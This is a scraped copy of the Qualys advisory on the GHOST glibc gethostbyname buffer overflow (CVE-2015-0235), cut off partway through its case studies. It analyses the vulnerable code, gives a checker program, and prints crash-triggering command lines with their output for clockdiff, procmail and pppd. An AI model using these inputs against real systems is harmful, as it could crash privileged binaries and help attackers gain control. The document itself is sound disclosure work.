{"id":40486,"date":"2026-02-11T12:47:35","date_gmt":"2026-02-11T12:47:35","guid":{"rendered":"http:\/\/localhost\/?p=40486"},"modified":"2026-02-11T12:47:35","modified_gmt":"2026-02-11T12:47:35","slug":"qualys-security-advisory-ghost-glibc-gethostbyname-buffer-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=40486","title":{"rendered":"\ud83d\udcc4 Qualys Security Advisory &#8211; GHOST glibc gethostbyname Buffer Overflow_PACKETSTORM:215330"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:56:49&#8243;,&#8221;description&#8221;:&#8221;During a code audit performed internally at Qualys, they discovered a buffer overflow in the nsshostnamedigitsdots function of the GNU C Library glibc. This bug is reachable both locally and remotely via the gethostbyname functions, so we decided to&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Qualys Security Advisory &#8211; GHOST glibc gethostbyname Buffer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215330&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2015-0235&#8243;],&#8221;sourceData&#8221;:&#8221;Qualys Security Advisory CVE-2015-0235\\n    \\n    GHOST: glibc gethostbyname buffer overflow\\n    \\n    \\n    &#8211;[ Contents ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    \\n    1 &#8211; Summary\\n    2 &#8211; Analysis\\n    3 &#8211; Mitigating factors\\n    4 &#8211; Case studies\\n    5 &#8211; Exploitation\\n    6 &#8211; Acknowledgments\\n    \\n    \\n    &#8211;[ 1 &#8211; Summary ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    \\n    During a code audit performed internally at Qualys, we discovered a\\n    buffer overflow in the __nss_hostname_digits_dots() function of the GNU\\n    C Library (glibc). This bug is reachable both locally and remotely via\\n    the gethostbyname*() functions, so we decided to analyze it &#8212; and its\\n    impact &#8212; thoroughly, and named this vulnerability \\&#8221;GHOST\\&#8221;.\\n    \\n    Our main conclusions are:\\n    \\n    &#8211; Via gethostbyname() or gethostbyname2(), the overflowed buffer is\\n      located in the heap. Via gethostbyname_r() or gethostbyname2_r(), the\\n      overflowed buffer is caller-supplied (and may therefore be located in\\n      the heap, stack, .data, .bss, etc; however, we have seen no such call\\n      in practice).\\n    \\n    &#8211; At most sizeof(char *) bytes can be overwritten (ie, 4 bytes on 32-bit\\n      machines, and 8 bytes on 64-bit machines). Bytes can be overwritten\\n      only with digits (&#8216;0&#8217;&#8230;&#8217;9&#8217;), dots (&#8216;.&#8217;), and a terminating null\\n      character (&#8216;\\\\0&#8217;).\\n    \\n    &#8211; Despite these limitations, arbitrary code execution can be achieved.\\n      As a proof of concept, we developed a full-fledged remote exploit\\n      against the Exim mail server, bypassing all existing protections\\n      (ASLR, PIE, and NX) on both 32-bit and 64-bit machines. We will\\n      publish our exploit as a Metasploit module in the near future.\\n    \\n    &#8211; The first vulnerable version of the GNU C Library is glibc-2.2,\\n      released on November 10, 2000.\\n    \\n    &#8211; We identified a number of factors that mitigate the impact of this\\n      bug. In particular, we discovered that it was fixed on May 21, 2013\\n      (between the releases of glibc-2.17 and glibc-2.18). Unfortunately, it\\n      was not recognized as a security threat; as a result, most stable and\\n      long-term-support distributions were left exposed (and still are):\\n      Debian 7 (wheezy), Red Hat Enterprise Linux 6 \\u0026 7, CentOS 6 \\u0026 7,\\n      Ubuntu 12.04, for example.\\n    \\n    \\n    &#8211;[ 2 &#8211; Analysis ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    The vulnerable function, __nss_hostname_digits_dots(), is called\\n    internally by the glibc in nss\/getXXbyYY.c (the non-reentrant version)\\n    and nss\/getXXbyYY_r.c (the reentrant version). However, the calls are\\n    surrounded by #ifdef HANDLE_DIGITS_DOTS, a macro defined only in:\\n    \\n    &#8211; inet\/gethstbynm.c\\n    &#8211; inet\/gethstbynm2.c\\n    &#8211; inet\/gethstbynm_r.c\\n    &#8211; inet\/gethstbynm2_r.c\\n    &#8211; nscd\/gethstbynm3_r.c\\n    \\n    These files implement the gethostbyname*() family, and hence the only\\n    way to reach __nss_hostname_digits_dots() and its buffer overflow. The\\n    purpose of this function is to avoid expensive DNS lookups if the\\n    hostname argument is already an IPv4 or IPv6 address.\\n    \\n    The code below comes from glibc-2.17:\\n    \\n     35 int\\n     36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,\\n     37                             char **buffer, size_t *buffer_size,\\n     38                             size_t buflen, struct hostent **result,\\n     39                             enum nss_status *status, int af, int *h_errnop)\\n     40 {\\n     ..\\n     57   if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == &#8216;:&#8217;)\\n     58     {\\n     59       const char *cp;\\n     60       char *hostname;\\n     61       typedef unsigned char host_addr_t[16];\\n     62       host_addr_t *host_addr;\\n     63       typedef char *host_addr_list_t[2];\\n     64       host_addr_list_t *h_addr_ptrs;\\n     65       char **h_alias_ptr;\\n     66       size_t size_needed;\\n     ..\\n     85       size_needed = (sizeof (*host_addr)\\n     86                      + sizeof (*h_addr_ptrs) + strlen (name) + 1);\\n     87\\n     88       if (buffer_size == NULL)\\n     89         {\\n     90           if (buflen \\u003c size_needed)\\n     91             {\\n     ..\\n     95               goto done;\\n     96             }\\n     97         }\\n     98       else if (buffer_size != NULL \\u0026\\u0026 *buffer_size \\u003c size_needed)\\n     99         {\\n    100           char *new_buf;\\n    101           *buffer_size = size_needed;\\n    102           new_buf = (char *) realloc (*buffer, *buffer_size);\\n    103\\n    104           if (new_buf == NULL)\\n    105             {\\n    &#8230;\\n    114               goto done;\\n    115             }\\n    116           *buffer = new_buf;\\n    117         }\\n    &#8230;\\n    121       host_addr = (host_addr_t *) *buffer;\\n    122       h_addr_ptrs = (host_addr_list_t *)\\n    123         ((char *) host_addr + sizeof (*host_addr));\\n    124       h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));\\n    125       hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);\\n    126\\n    127       if (isdigit (name[0]))\\n    128         {\\n    129           for (cp = name;; ++cp)\\n    130             {\\n    131               if (*cp == &#8216;\\\\0&#8217;)\\n    132                 {\\n    133                   int ok;\\n    134\\n    135                   if (*&#8211;cp == &#8216;.&#8217;)\\n    136                     break;\\n    &#8230;\\n    142                   if (af == AF_INET)\\n    143                     ok = __inet_aton (name, (struct in_addr *) host_addr);\\n    144                   else\\n    145                     {\\n    146                       assert (af == AF_INET6);\\n    147                       ok = inet_pton (af, name, host_addr) \\u003e 0;\\n    148                     }\\n    149                   if (! ok)\\n    150                     {\\n    &#8230;\\n    154                       goto done;\\n    155                     }\\n    156\\n    157                   resbuf-\\u003eh_name = strcpy (hostname, name);\\n    &#8230;\\n    194                   goto done;\\n    195                 }\\n    196\\n    197               if (!isdigit (*cp) \\u0026\\u0026 *cp != &#8216;.&#8217;)\\n    198                 break;\\n    199             }\\n    200         }\\n    &#8230;\\n    \\n    Lines 85-86 compute the size_needed to store three (3) distinct entities\\n    in buffer: host_addr, h_addr_ptrs, and name (the hostname). Lines 88-117\\n    make sure the buffer is large enough: lines 88-97 correspond to the\\n    reentrant case, lines 98-117 to the non-reentrant case.\\n    \\n    Lines 121-125 prepare pointers to store four (4) distinct entities in\\n    buffer: host_addr, h_addr_ptrs, h_alias_ptr, and hostname. The sizeof\\n    (*h_alias_ptr) &#8212; the size of a char pointer &#8212; is missing from the\\n    computation of size_needed.\\n    \\n    The strcpy() on line 157 should therefore allow us to write past the end\\n    of buffer, at most (depending on strlen(name) and alignment) 4 bytes on\\n    32-bit machines, or 8 bytes on 64-bit machines. There is a similar\\n    strcpy() after line 200, but no buffer overflow:\\n    \\n    236           size_needed = (sizeof (*host_addr)\\n    237                          + sizeof (*h_addr_ptrs) + strlen (name) + 1);\\n    &#8230;\\n    267           host_addr = (host_addr_t *) *buffer;\\n    268           h_addr_ptrs = (host_addr_list_t *)\\n    269             ((char *) host_addr + sizeof (*host_addr));\\n    270           hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs);\\n    &#8230;\\n    289                   resbuf-\\u003eh_name = strcpy (hostname, name);\\n    \\n    In order to reach the overflow at line 157, the hostname argument must\\n    meet the following requirements:\\n    \\n    &#8211; Its first character must be a digit (line 127).\\n    \\n    &#8211; Its last character must not be a dot (line 135).\\n    \\n    &#8211; It must comprise only digits and dots (line 197) (we call this the\\n      \\&#8221;digits-and-dots\\&#8221; requirement).\\n    \\n    &#8211; It must be long enough to overflow the buffer. For example, the\\n      non-reentrant gethostbyname*() functions initially allocate their\\n      buffer with a call to malloc(1024) (the \\&#8221;1-KB\\&#8221; requirement).\\n    \\n    &#8211; It must be successfully parsed as an IPv4 address by inet_aton() (line\\n      143), or as an IPv6 address by inet_pton() (line 147). Upon careful\\n      analysis of these two functions, we can further refine this\\n      \\&#8221;inet-aton\\&#8221; requirement:\\n    \\n      . It is impossible to successfully parse a \\&#8221;digits-and-dots\\&#8221; hostname\\n        as an IPv6 address with inet_pton() (&#8216;:&#8217; is forbidden). Hence it is\\n        impossible to reach the overflow with calls to gethostbyname2() or\\n        gethostbyname2_r() if the address family argument is AF_INET6.\\n    \\n      . Conclusion: inet_aton() is the only option, and the hostname must\\n        have one of the following forms: \\&#8221;a.b.c.d\\&#8221;, \\&#8221;a.b.c\\&#8221;, \\&#8221;a.b\\&#8221;, or \\&#8221;a\\&#8221;,\\n        where a, b, c, d must be unsigned integers, at most 0xfffffffful,\\n        converted successfully (ie, no integer overflow) by strtoul() in\\n        decimal or octal (but not hexadecimal, because &#8216;x&#8217; and &#8216;X&#8217; are\\n        forbidden).\\n    \\n    \\n    &#8211;[ 3 &#8211; Mitigating factors ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n    The impact of this bug is reduced significantly by the following\\n    reasons:\\n    \\n    &#8211; A patch already exists (since May 21, 2013), and has been applied and\\n      tested since glibc-2.18, released on August 12, 2013:\\n    \\n            [BZ #15014]\\n            * nss\/getXXbyYY_r.c (INTERNAL (REENTRANT_NAME))\\n            [HANDLE_DIGITS_DOTS]: Set any_service when digits-dots parsing was\\n            successful.\\n            * nss\/digits_dots.c (__nss_hostname_digits_dots): Remove\\n            redundant variable declarations and reallocation of buffer when\\n            parsing as IPv6 address.  Always set NSS status when called from\\n            reentrant functions.  Use NETDB_INTERNAL instead of TRY_AGAIN when\\n            buffer too small.  Correct computation of needed size.\\n            * nss\/Makefile (tests): Add test-digits-dots.\\n            * nss\/test-digits-dots.c: New test.\\n    \\n    &#8211; The gethostbyname*() functions are obsolete; with the advent of IPv6,\\n      recent applications use getaddrinfo() instead.\\n    \\n    &#8211; Many programs, especially SUID binaries reachable locally, use\\n      gethostbyname() if, and only if, a preliminary call to inet_aton()\\n      fails. However, a subsequent call must also succeed (the \\&#8221;inet-aton\\&#8221;\\n      requirement) in order to reach the overflow: this is impossible, and\\n      such programs are therefore safe.\\n    \\n    &#8211; Most of the other programs, especially servers reachable remotely, use\\n      gethostbyname() to perform forward-confirmed reverse DNS (FCrDNS, also\\n      known as full-circle reverse DNS) checks. These programs are generally\\n      safe, because the hostname passed to gethostbyname() has normally been\\n      pre-validated by DNS software:\\n    \\n      . \\&#8221;a string of labels each containing up to 63 8-bit octets, separated\\n        by dots, and with a maximum total of 255 octets.\\&#8221; This makes it\\n        impossible to satisfy the \\&#8221;1-KB\\&#8221; requirement.\\n    \\n      . Actually, glibc&#8217;s DNS resolver can produce hostnames of up to\\n        (almost) 1025 characters (in case of bit-string labels, and special\\n        or non-printable characters). But this introduces backslashes (&#8216;\\\\\\\\&#8217;)\\n        and makes it impossible to satisfy the \\&#8221;digits-and-dots\\&#8221;\\n        requirement.\\n    \\n    \\n    &#8211;[ 4 &#8211; Case studies ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n    In this section, we will analyze real-world examples of programs that\\n    call the gethostbyname*() functions, but we first introduce a small test\\n    program that checks whether a system is vulnerable or not:\\n    \\n    [user@fedora-19 ~]$ cat \\u003e GHOST.c \\u003c\\u003c EOF\\n    #include \\u003cnetdb.h\\u003e\\n    #include \\u003cstdio.h\\u003e\\n    #include \\u003cstdlib.h\\u003e\\n    #include \\u003cstring.h\\u003e\\n    #include \\u003cerrno.h\\u003e\\n    \\n    #define CANARY \\&#8221;in_the_coal_mine\\&#8221;\\n    \\n    struct {\\n      char buffer[1024];\\n      char canary[sizeof(CANARY)];\\n    } temp = { \\&#8221;buffer\\&#8221;, CANARY };\\n    \\n    int main(void) {\\n      struct hostent resbuf;\\n      struct hostent *result;\\n      int herrno;\\n      int retval;\\n    \\n      \/*** strlen (name) = size_needed &#8211; sizeof (*host_addr) &#8211; sizeof (*h_addr_ptrs) &#8211; 1; ***\/\\n      size_t len = sizeof(temp.buffer) &#8211; 16*sizeof(unsigned char) &#8211; 2*sizeof(char *) &#8211; 1;\\n      char name[sizeof(temp.buffer)];\\n      memset(name, &#8216;0&#8217;, len);\\n      name[len] = &#8216;\\\\0&#8217;;\\n    \\n      retval = gethostbyname_r(name, \\u0026resbuf, temp.buffer, sizeof(temp.buffer), \\u0026result, \\u0026herrno);\\n    \\n      if (strcmp(temp.canary, CANARY) != 0) {\\n        puts(\\&#8221;vulnerable\\&#8221;);\\n        exit(EXIT_SUCCESS);\\n      }\\n      if (retval == ERANGE) {\\n        puts(\\&#8221;not vulnerable\\&#8221;);\\n        exit(EXIT_SUCCESS);\\n      }\\n      puts(\\&#8221;should not happen\\&#8221;);\\n      exit(EXIT_FAILURE);\\n    }\\n    EOF\\n    \\n    [user@fedora-19 ~]$ gcc GHOST.c -o GHOST\\n    \\n    On Fedora 19 (glibc-2.17):\\n    \\n    [user@fedora-19 ~]$ .\/GHOST\\n    vulnerable\\n    \\n    On Fedora 20 (glibc-2.18):\\n    \\n    [user@fedora-20 ~]$ .\/GHOST\\n    not vulnerable\\n    \\n    &#8212;-[ 4.1 &#8211; The GNU C Library ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n    The glibc itself contains a few calls to gethostbyname*() functions. In\\n    particular, getaddrinfo() calls gethostbyname2_r() if, but only if, a\\n    first call to inet_aton() fails: in accordance with the \\&#8221;inet-aton\\&#8221;\\n    requirement, these internal calls are safe. For example,\\n    eglibc-2.13\/sysdeps\/posix\/getaddrinfo.c:\\n    \\n          at-\\u003efamily = AF_UNSPEC;\\n          &#8230;\\n          if (__inet_aton (name, (struct in_addr *) at-\\u003eaddr) != 0)\\n            {\\n              if (req-\\u003eai_family == AF_UNSPEC || req-\\u003eai_family == AF_INET)\\n                at-\\u003efamily = AF_INET;\\n              else if (req-\\u003eai_family == AF_INET6 \\u0026\\u0026 (req-\\u003eai_flags \\u0026 AI_V4MAPPED))\\n                {\\n                  &#8230;\\n                  at-\\u003efamily = AF_INET6;\\n                }\\n              else\\n                return -EAI_ADDRFAMILY;\\n              &#8230;\\n            }\\n          &#8230;\\n          if (at-\\u003efamily == AF_UNSPEC \\u0026\\u0026 (req-\\u003eai_flags \\u0026 AI_NUMERICHOST) == 0)\\n            {\\n              &#8230;\\n                  size_t tmpbuflen = 512;\\n                  char *tmpbuf = alloca (tmpbuflen);\\n                  &#8230;\\n                      rc = __gethostbyname2_r (name, family, \\u0026th, tmpbuf,\\n                                               tmpbuflen, \\u0026h, \\u0026herrno);\\n              &#8230;\\n            }\\n    \\n    &#8212;-[ 4.2 &#8211; mount.nfs ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    \\n    Similarly, mount.nfs (a SUID-root binary) is not vulnerable:\\n    \\n            if (inet_aton(hostname, \\u0026addr-\\u003esin_addr))\\n                    return 0;\\n            if ((hp = gethostbyname(hostname)) == NULL) {\\n                    nfs_error(_(\\&#8221;%s: can&#8217;t get address for %s\\\\n\\&#8221;),\\n                                    progname, hostname);\\n                    return -1;\\n            }\\n    \\n    &#8212;-[ 4.3 &#8211; mtr ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    \\n    mtr (another SUID-root binary) is not vulnerable either, because it\\n    calls getaddrinfo() instead of gethostbyname*() functions on any modern\\n    (ie, IPv6-enabled) system:\\n    \\n    #ifdef ENABLE_IPV6\\n      \/* gethostbyname2() is deprecated so we&#8217;ll use getaddrinfo() instead. *\/\\n      &#8230;\\n      error = getaddrinfo( Hostname, NULL, \\u0026hints, \\u0026res );\\n      if ( error ) {\\n        if (error == EAI_SYSTEM)\\n           perror (\\&#8221;Failed to resolve host\\&#8221;);\\n        else\\n           fprintf (stderr, \\&#8221;Failed to resolve host: %s\\\\n\\&#8221;, gai_strerror(error));\\n        exit( EXIT_FAILURE );\\n      }\\n      &#8230;\\n    #else\\n        host = gethostbyname(Hostname);\\n      if (host == NULL) {\\n        herror(\\&#8221;mtr gethostbyname\\&#8221;);\\n        exit(1);\\n      }\\n      &#8230;\\n    #endif\\n    \\n    &#8212;-[ 4.4 &#8211; iputils ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8212;&#8212;[ 4.4.1 &#8211; clockdiff ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    clockdiff is vulnerable in a straightforward manner:\\n    \\n            hp = gethostbyname(argv[1]);\\n            if (hp == NULL) {\\n                    fprintf(stderr, \\&#8221;clockdiff: %s: host not found\\\\n\\&#8221;, argv[1]);\\n                    exit(1);\\n            }\\n    \\n    [user@fedora-19-32b ~]$ ls -l \/usr\/sbin\/clockdiff\\n    -rwxr-xr-x. 1 root root 15076 Feb  1  2013 \/usr\/sbin\/clockdiff\\n    \\n    [user@fedora-19-32b ~]$ getcap \/usr\/sbin\/clockdiff\\n    \/usr\/sbin\/clockdiff = cap_net_raw+ep\\n    \\n    [user@fedora-19-32b ~]$ \/usr\/sbin\/clockdiff `python -c \\&#8221;print &#8216;0&#8217; * $((0x10000-16*1-2*4-1-4))\\&#8221;`\\n    .Segmentation fault\\n    \\n    [user@fedora-19-32b ~]$ \/usr\/sbin\/clockdiff `python -c \\&#8221;print &#8216;0&#8217; * $((0x20000-16*1-2*4-1-4))\\&#8221;`\\n    Segmentation fault\\n    \\n    [user@fedora-19-32b ~]$ dmesg\\n    &#8230;\\n    [202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000]\\n    [202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000]\\n    \\n    &#8212;&#8212;[ 4.4.2 &#8211; ping and arping ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    ping and arping call gethostbyname() and gethostbyname2(), respectively,\\n    if and only if inet_aton() fails first. This time, however, there is\\n    another function call in between (Fedora, for example, does define\\n    USE_IDN):\\n    \\n    &#8212;&#8212;&#8211;[ 4.4.2.1 &#8211; ping ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    \\n                    if (inet_aton(target, \\u0026whereto.sin_addr) == 1) {\\n                            &#8230;\\n                    } else {\\n                            char *idn;\\n    #ifdef USE_IDN\\n                            int rc;\\n                            &#8230;\\n                            rc = idna_to_ascii_lz(target, \\u0026idn, 0);\\n                            if (rc != IDNA_SUCCESS) {\\n                                    fprintf(stderr, \\&#8221;ping: IDN encoding failed: %s\\\\n\\&#8221;, idna_strerror(rc));\\n                                    exit(2);\\n                            }\\n    #else\\n                            idn = target;\\n    #endif\\n                            hp = gethostbyname(idn);\\n    \\n    &#8212;&#8212;&#8211;[ 4.4.2.2 &#8211; arping ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n            if (inet_aton(target, \\u0026dst) != 1) {\\n                    struct hostent *hp;\\n                    char *idn = target;\\n    #ifdef USE_IDN\\n                    int rc;\\n    \\n                    rc = idna_to_ascii_lz(target, \\u0026idn, 0);\\n    \\n                    if (rc != IDNA_SUCCESS) {\\n                            fprintf(stderr, \\&#8221;arping: IDN encoding failed: %s\\\\n\\&#8221;, idna_strerror(rc));\\n                            exit(2);\\n                    }\\n    #endif\\n    \\n                    hp = gethostbyname2(idn, AF_INET);\\n    \\n    &#8212;&#8212;&#8211;[ 4.4.2.3 &#8211; Analysis ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    If idna_to_ascii_lz() modifies the target hostname, the first call to\\n    inet_aton() could fail and the second call (internal to gethostbyname())\\n    could succeed. For example, idna_to_ascii_lz() transforms any Unicode\\n    dot-like character (0x3002, 0xFF0E, 0xFF61) into an ASCII dot (\\&#8221;.\\&#8221;).\\n    \\n    But it also restricts the length of a domain label to 63 characters:\\n    this makes it impossible to reach 1024 bytes (the \\&#8221;1-KB\\&#8221; requirement)\\n    with only 4 labels and 3 dots (the \\&#8221;inet-aton\\&#8221; requirement).\\n    \\n    Unless inet_aton() (actually, strtoul()) can be tricked into accepting\\n    more than 3 dots? Indeed, idna_to_ascii_lz() does not restrict the total\\n    length of a domain name. glibc supports \\&#8221;thousands&#8217; grouping characters\\&#8221;\\n    (man 3 printf); for example, sscanf(str, \\&#8221;%&#8217;lu\\&#8221;, \\u0026ul) yields 1000 when\\n    processing any of the following input strings:\\n    \\n    &#8211; \\&#8221;1,000\\&#8221; in an English locale;\\n    &#8211; \\&#8221;1 000\\&#8221; in a French locale; and\\n    &#8211; \\&#8221;1.000\\&#8221; in a German or Spanish locale.\\n    \\n    strtoul() implements this \\&#8221;number grouping\\&#8221; too, but its use is limited\\n    to internal glibc functions. Conclusion: more than 3 dots is impossible,\\n    and neither ping nor arping is vulnerable.\\n    \\n    &#8212;-[ 4.5 &#8211; procmail ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n    procmail (a SUID-root and SGID-mail binary) is vulnerable through its\\n    \\&#8221;comsat\/biff\\&#8221; feature:\\n    \\n    #define COMSAThost      \\&#8221;localhost\\&#8221;    \/* where the biff\/comsat daemon lives *\/\\n    &#8230;\\n    #define SERV_ADDRsep    &#8216;@&#8217;           \/* when overriding in COMSAT=serv@addr *\/\\n    \\n    int setcomsat(chp)const char*chp;\\n    { char*chad; &#8230;\\n      chad=strchr(chp,SERV_ADDRsep);                             \/* @ separator? *\/\\n      &#8230;\\n      if(chad)\\n         *chad++=&#8217;\\\\0&#8242;;                                    \/* split the specifier *\/\\n      if(!chad||!*chad)                                               \/* no host *\/\\n    #ifndef IP_localhost                          \/* Is \\&#8221;localhost\\&#8221; preresolved? *\/\\n         chad=COMSAThost;                                   \/* nope, use default *\/\\n    #else \/* IP_localhost *\/\\n       { &#8230;\\n       }\\n      else\\n    #endif \/* IP_localhost *\/\\n       { &#8230;\\n         if(!(host=gethostbyname(chad))||!host-\\u003eh_0addr_list)\\n    \\n    user@debian-7-2-32b:~$ ls -l \/usr\/bin\/procmail\\n    -rwsr-sr-x 1 root mail 83912 Jun  6  2012 \/usr\/bin\/procmail\\n    \\n    user@debian-7-2-32b:~$ \/usr\/bin\/procmail &#8216;VERBOSE=on&#8217; &#8216;COMSAT=@&#8217;`python -c \\&#8221;print &#8216;0&#8217; * $((0x500-16*1-2*4-1-4))\\&#8221;` \\u003c \/dev\/null\\n    &#8230;\\n    *** glibc detected *** \/usr\/bin\/procmail: free(): invalid next size (normal): 0x0980de30 ***\\n    ======= Backtrace: =========\\n    \/lib\/i386-linux-gnu\/i686\/cmov\/libc.so.6(+0x70f01)[0xb76b2f01]\\n    \/lib\/i386-linux-gnu\/i686\/cmov\/libc.so.6(+0x72768)[0xb76b4768]\\n    \/lib\/i386-linux-gnu\/i686\/cmov\/libc.so.6(cfree+0x6d)[0xb76b781d]\\n    \/usr\/bin\/procmail[0x80548ec]\\n    \/lib\/i386-linux-gnu\/i686\/cmov\/libc.so.6(__libc_start_main+0xe6)[0xb7658e46]\\n    \/usr\/bin\/procmail[0x804bb55]\\n    ======= Memory map: ========\\n    &#8230;\\n    0980a000-0982b000 rw-p 00000000 00:00 0          [heap]\\n    &#8230;\\n    Aborted\\n    \\n    user@debian-7-2-32b:~$ _COMSAT_=&#8217;COMSAT=@&#8217;`python -c \\&#8221;print &#8216;0&#8217; * $((0x500-16*1-2*4-1-4))\\&#8221;`\\n    \\n    user@debian-7-2-32b:~$ \/usr\/bin\/procmail \\&#8221;$_COMSAT_\\&#8221; \\&#8221;$_COMSAT_\\&#8221;1234 \\u003c \/dev\/null\\n    Segmentation fault\\n    \\n    user@debian-7-2-32b:~$ \/usr\/bin\/procmail \\&#8221;$_COMSAT_\\&#8221;12345670 \\&#8221;$_COMSAT_\\&#8221;123456701234 \\u003c \/dev\/null\\n    Segmentation fault\\n    \\n    user@debian-7-2-32b:~$ dmesg\\n    &#8230;\\n    [211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000]\\n    [211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000]\\n    \\n    &#8212;-[ 4.6 &#8211; pppd ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    pppd (yet another SUID-root binary) calls gethostbyname() if a\\n    preliminary call to inet_addr() (a simple wrapper around inet_aton())\\n    fails. \\&#8221;The inet_addr() function converts the Internet host address cp\\n    from IPv4 numbers-and-dots notation into binary data in network byte\\n    order. If the input is invalid, INADDR_NONE (usually -1) is returned.\\n    Use of this function is problematic because -1 is a valid address\\n    (255.255.255.255).\\&#8221; A failure for inet_addr(), but a success for\\n    inet_aton(), and consequently a path to the buffer overflow.\\n    \\n    user@ubuntu-12-04-32b:~$ ls -l \/usr\/sbin\/pppd\\n    -rwsr-xr&#8211; 1 root dip 273272 Feb  3  2011 \/usr\/sbin\/pppd\\n    \\n    user@ubuntu-12-04-32b:~$ id\\n    uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)\\n    \\n    &#8212;&#8212;[ 4.6.1 &#8211; ms-dns option ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n    static int\\n    setdnsaddr(argv)\\n        char **argv;\\n    {\\n        u_int32_t dns;\\n        struct hostent *hp;\\n    \\n        dns = inet_addr(*argv);\\n        if (dns == (u_int32_t) -1) {\\n            if ((hp = gethostbyname(*argv)) == NULL) {\\n                option_error(\\&#8221;invalid address parameter &#8216;%s&#8217; for ms-dns option\\&#8221;,\\n                             *argv);\\n                return 0;\\n            }\\n            dns = *(u_int32_t *)hp-\\u003eh_addr;\\n        }\\n    \\n    user@ubuntu-12-04-32b:~$ \/usr\/sbin\/pppd &#8216;dryrun&#8217; &#8216;ms-dns&#8217; `python -c \\&#8221;print &#8216;0&#8217; * $((0x1000-16*1-2*4-16-4))\\&#8221;`&#8217;377.255.255.255&#8217;\\n    *** glibc detected *** \/usr\/sbin\/pppd: free(): invalid next size (normal): 0x09c0f928 ***\\n    ======= Backtrace: =========\\n    \/lib\/i386-linux-gnu\/libc.so.6(+0x75ee2)[0xb75e1ee2]\\n    \/lib\/i386-linux-gnu\/libc.so.6(+0x65db5)[0xb75d1db5]\\n    \/lib\/i386-linux-gnu\/libc.so.6(fopen+0x2b)[0xb75d1deb]\\n    \/usr\/sbin\/pppd(options_from_file+0xa8)[0x8064948]\\n  